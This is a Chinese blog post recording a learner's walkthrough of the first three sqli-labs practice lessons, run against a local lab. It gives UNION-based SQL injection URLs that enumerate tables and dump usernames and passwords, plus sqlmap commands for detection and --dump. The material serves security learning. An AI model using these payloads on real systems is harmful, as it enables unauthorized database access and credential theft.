sqli-labs学习记录(一)

0x01 less-1

‘$id’
单引号注入

这里写代码片
http://localhost/sqli-labs-master/Less-1/?id=14' order by 3-- +   //猜字段

这里写图片描述

http://localhost/sqli-labs-master/Less-1/?id=14' union select 1,2,3-- +  //查看内容

这里写图片描述
发现服务器依旧只返回了第一条查询的信息,这是因为后台有个mysql_fetch_array只执行了一遍,那如何绕过呢,就是把第一个查询置为空集。

http://localhost/sqli-labs-master/Less-1/?id=15' union select 1,2,3-- +  //id=0或者15都可以,因为测试了里面只有14项纪录,所以无论是0还是15第一行查询都是返回空集

这里写图片描述
只有第二列和第三列会显示在屏幕上,但是仅仅这两个位置并不够,因此需要用到数据库连接函数concat和concat_ws
concat_ws的第一个参数是连接字符串的分隔符。

http://localhost/sqli-labs-master/Less-1/?id=15' union select 1,2,concat_ws(char(32,58,32),user(),database(),version())-- +

http://localhost/sqli-labs-master/Less-1/?id=15' union select 1,2,concat_ws(char(58),user(),database(),version())-- +

记住常用的几个数据库函数

  • user()查询当前数据库连接使用的用户
  • database()查看当前数据库连接使用的数据库
  • version()查看当前数据库的版本
http://localhost/sqli-labs-master/Less-1/?id=15' union select 1,2,table_name from information_sche
ma.tables where table_schema=security-- +   //查询系统表

这里写图片描述
可以看到,这里用where是不可以使用英文的,具体的是编码原因,查询information_schema中的信息时,使用where语句值不能直接用英文

http://localhost/sqli-labs-master/Less-1/?id=15' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479-- +  //使用16进制成功
http://localhost/sqli-labs-master/Less-1/?id=15' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1-- +

只能返回一个table,这时就要用的limit了。limit用于限制饭回家过的范围
这里写图片描述
找我们最感兴趣的user表

http://localhost/sqli-labs-master/Less-1/?id=15' union select 1,2,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 2,1-- +    //可以通过改变limit来枚举出user表有3个字段分别是id/username/password

0x02 less-2

$id

http://localhost/sqli-labs-master/Less-2/?id=0 union select 1,2,concat_ws(':',user(),database(),version()) -- +

http://localhost/sqli-labs-master/Less-2/?id=0 union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1-- +

http://localhost/sqli-labs-master/Less-2/?id=0 union select 1,2,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 0,1-- +

http://localhost/sqli-labs-master/Less-2/?id=0 union select 1,2,concat_ws(':',id,username,password) from users limit 2,1-- +

0x03 less-3

(‘$id’)

http://localhost/sqli-labs-master/Less-3/?id=0') union select 1,2,3-- +

http://localhost/sqli-labs-master/Less-1/?id=15' union select 1,2,concat_ws(char(58),user(),database(),version())-- +

http://localhost/sqli-labs-master/Less-3/?id=0') union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479-- +

http://localhost/sqli-labs-master/Less-3/?id=0') union select 1,2,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273-- +

http://localhost/sqli-labs-master/Less-3/?id=0') union select 1,2,concat_ws(':',id,username,password) from users limit 2,1-- +
### SQLMap在SQLi-Labs关中的应用 对于SQLi-Labs靶场的第关(Less-1),可以通过`sqlmap`工具实现自动化的SQL注入攻击。以下是具体的操作方法以及注意事项: #### 工具准备 确保已安装并配置好`sqlmap`环境。如果尚未安装,可通过以下命令完成安装: ```bash git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap cd sqlmap ``` #### 基本操作流程 针对SQLi-Labs关的目标URL `http://localhost/sqli-labs/Less-1/?id=1`,可以执行如下命令来探测和利用漏洞。 ##### 探测可注入参数 运行以下命令以确认是否存在SQL注入漏洞,并定位到具体的注入点: ```bash python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" --risk=3 --level=5 --random-agent --batch ``` 上述命令中各选项的作用分别为: - `-u`: 指定目标URL。 - `--risk=3`: 设置风险级别为最高级,尝试更多复杂的payload[^1]。 - `--level=5`: 设定测试强度为最高等级,覆盖尽可能多的场景。 - `--random-agent`: 随机化User-Agent头信息,规避可能的安全防护机制[^2]。 - `--batch`: 自动处理所有交互式提示,默认选择推荐选项[^3]。 ##### 枚举数据库信息 旦确认存在注入漏洞,则继续深入挖掘敏感数据。例如枚举当前使用的数据库名称: ```bash python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" --current-db --batch ``` 此命令会返回当前正在使用的数据库名字。 ##### 列出所有可用数据库 为了进步了解服务器上的其他潜在资源,还可以列举全部数据库列表: ```bash python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" --dbs --batch ``` 通过该命令可以获得完整的数据库集合。 ##### 查找特定数据库内的表格结构 假设已经得知某个感兴趣的具体数据库名为`testDB`,那么就可以查询其内部包含哪些表单: ```bash python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" -D testDB --tables --batch ``` 这里指定了目标数据库并通过`--tables`获取其中存储的数据表清单。 ##### 提取指定表的内容列定义 当明确了某张表之后,下步便是研究它的字段构成情况: ```bash python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" -D testDB -T users --columns --batch ``` 这条语句用于揭示所选表(`users`)的各项属性描述。 ##### 导出实际记录值 最后步就是导出整张表里的真实数据条目了: ```bash python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" -D testDB -T users --dump --batch ``` 至此完成了从发现漏洞直至提取有用情报的系列动作。 ### 注意事项 尽管`sqlmap`功能强大,但在实战环境中需谨慎行事,避免触犯法律红线。仅限于授权范围内的渗透测试活动才允许使用此类技术手段。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值